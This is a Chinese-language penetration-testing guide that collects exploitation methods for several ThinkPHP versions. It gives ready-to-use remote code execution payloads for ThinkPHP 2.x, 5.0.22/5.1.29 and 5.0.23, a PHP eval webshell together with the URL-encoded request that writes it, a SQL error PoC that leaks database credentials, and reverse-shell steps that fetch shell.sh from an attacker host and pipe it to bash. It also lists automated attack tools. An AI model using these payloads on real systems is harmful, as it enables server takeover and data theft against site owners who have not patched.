ThinkPHP渗透思路合集
字数 1646 2025-08-09 19:58:05
ThinkPHP渗透思路合集
前言
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP。它遵循Apache2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
本地安装
- 官网下载:http://www.thinkphp.cn/down.html
- 经典版本分类:
- ThinkPHP 2.x
- ThinkPHP 3.x
- ThinkPHP 5.x
- ThinkPHP 6.x
- 安装步骤:
- 安装vc9_x86(必装)
- 安装phpstudy-2016
- 将ThinkPHP包放到WWW目录下
- 默认目录结构:
- 默认存在robots.txt(存在信息泄露风险)
- 写入的shell存放在:
C:\phpStudy\WWW\a001\public - 日志目录:
C:\phpStudy\WWW\a001\thinkphp\library\think\log
- 域名配置:
- 目录要选到public目录下才能识别router.php
- 修改hosts文件添加域名解析
本地漏洞复现
Poc1 - phpinfo执行
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
Poc2 - 写入一句话木马
- 一句话木马内容:
<?php eval($_POST['a']);?>
- URL编码后:
%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
- 最终payload:
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
Vulhub-Thinkphp复现
Thinkphp 2.x 任意代码执行漏洞
漏洞原理:
ThinkPHP2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
影响版本:
- ThinkPHP 2.x
- ThinkPHP3.0版本Lite模式
漏洞验证:
/index.php?s=/index/index/name/${@phpinfo()}
或URL编码:
/index.php?s=/index/index/name/$%7B@phpinfo()%7D
Poc:
/index.php?s=a/b/c/${@print(e val($_POST[1]))}
抓包改为POST请求,执行命令:
1=system('id');
反弹shell:
- 准备shell.sh:
bash -i >& /dev/tcp/192.168.175.130/8888 0>&1
- 开启HTTP服务:
python -m SimpleHTTPServer 9999
- 开启监听:
nc -lvvp 8888
- 执行:
1=system("curl 192.168.175.130:9999/shell.sh | bash");
Thinkphp5-5.0.22/5.1.29远程代码执行漏洞
漏洞原理:
ThinkPHP5错误处理了控制器名称,如果网站未启用强制路由(默认设置),可以执行任何方法,导致RCE漏洞。
影响版本:
- 5.0.22
- 5.1.29
漏洞验证:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
任意代码执行:
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入webshell:
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
Thinkphp5.0.23远程代码执行漏洞
漏洞原理:
ThinkPHP5.0(<5.0.24)在获取请求方法时错误处理了方法名,攻击者可调用Request类的任何方法构造利用链,导致RCE。
影响版本:
- Thinkphp 5.0.0~5.0.23
漏洞验证:
POST请求:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.175.209:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
反弹shell:
- 准备shell.sh
- 开启HTTP服务
- 开启监听
- 执行:
curl 192.168.175.130:9999/shell.sh | bash
Thinkphp敏感信息泄露
漏洞原理:
传入参数在绑定编译指令时未安全处理,预编译导致SQL异常报错。ThinkPHP5默认开启debug模式,构造错误SQL语法会泄漏数据库账户和密码。
影响版本:
- ThinkPHP <5.1.23
漏洞验证:
/index.php?ids[]=1&ids[]=2
Poc:
/index.php?ids[0,updatex ml(0,concat(0xa,user()),0)]=1
Thinkphp自动化武器
Thinkphp综合利用工具
-
ThinkPHPBatchPoc群扫
- 可手动添加Poc
- 自动补充http头
- 使用:
-u 单个URL -f 执行文件
-
TPscan
-
AttackWebFrameworkTools
- 项目地址:GitHub
- 需要安装.NET Framework 4.5
- 使用前需新建两个文本文档
-
Thinkphp攻击武器
- 双击打开即可使用
总结
本文详细介绍了ThinkPHP多个版本的漏洞原理、影响版本、验证方法和利用方式,包括:
- ThinkPHP 2.x任意代码执行漏洞
- ThinkPHP 5.0.22/5.1.29远程代码执行漏洞
- ThinkPHP 5.0.23远程代码执行漏洞
- ThinkPHP敏感信息泄露漏洞
同时提供了多种自动化利用工具,帮助安全研究人员进行渗透测试。在实际测试中,请确保获得授权后再进行操作。